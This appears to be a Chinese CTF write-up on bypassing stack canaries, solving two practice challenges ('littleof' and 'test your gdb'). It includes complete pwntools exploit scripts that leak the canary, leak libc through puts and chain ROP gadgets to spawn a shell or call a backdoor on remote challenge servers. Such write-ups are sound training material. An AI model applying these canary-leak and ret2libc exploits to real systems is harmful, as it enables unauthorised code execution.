PWN入门-Canary
[2021 鹤城杯]littleof
buf尺寸为0x50,amd64下canary占用后0x8字节,i386下占用0x4字节。为了保证canary能与buf字符串分割开来,设计为小端序最后一个字节为0x00,sendline后自带发送换行符0x0a,即可填充0x00并取得后面0x7字节canary内容。
每次canary内容不同,每次都要重新获取。
开启canary后,0x50-0x8处为canary,0x50处为padding,0x50+0x8处为原ebp。
绕canary劫持plt泄漏puts的got表地址,找libc后重新绕canary打。
libcsearcher日常找不到库。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * context(log_level='debug',os='linux',arch='amd64') p=remote("node4.anna.nssctf.cn",28262) elf=ELF('./attachment') stack_overflow=cyclic(0x50-0x8) payload1=flat([stack_overflow]) p.recvuntil("Do you know how to do buffer overflow?") p.sendline(payload1) p.recvuntil("raaa\n") canary1=u64(p.recv(7).rjust(8,b'\x00')) log.success("Canary1:"+str(hex(canary1))) ret_addr=p64(0x40059e) pop_rdi_ret_addr=p64(0x400863) canary_padding=p64(0) main_addr=p64(0x4006E2) payload2=flat([stack_overflow,canary1,canary_padding,pop_rdi_ret_addr,elf.got["puts"],elf.plt["puts"],main_addr]) p.recvuntil("Try harder!") p.sendline(payload2) puts_real_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) log.success("Puts Address:"+str(hex(puts_real_addr))) libc_addr=puts_real_addr-0x080aa0 system_addr=p64(libc_addr+0x04f550) bin_sh_addr=p64(libc_addr+0x1b3e1a) p.recvuntil("Do you know how to do buffer overflow?") payload3=flat([stack_overflow]) p.sendline(payload3) p.recvuntil("raaa\n") canary2=u64(p.recv(7).rjust(8,b'\x00')) payload4=flat([stack_overflow,canary2,canary_padding,ret_addr,pop_rdi_ret_addr,bin_sh_addr,system_addr]) p.recvuntil("Try harder!") p.sendline(payload4) p.interactive()
|
[HGAME 2022 week1]test your gdb
注意比较时一定不要用sendline
而用send
,因为换行符也算一个字节。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import * context(log_level='debug',os='linux',arch='amd64') p=remote("node5.anna.nssctf.cn",28381) elf=ELF("./attachment") payload1=flat([p64(0x0B0361E0E8294F147),p64(0x8C09E0C34ED8A6A9)]) p.recvuntil("enter your pass word\n") p.send(payload1) stack_overflow=cyclic(0x20-0x08) canary1=p64(u64(p.recv()[0x20-0x08:0x20])) canary1_padding=p64(0) backdoor_addr=p64(elf.symbols["b4ckd00r"]) payload2=flat([stack_overflow,canary1,canary1_padding,backdoor_addr]) p.sendline(payload2) p.interactive()
|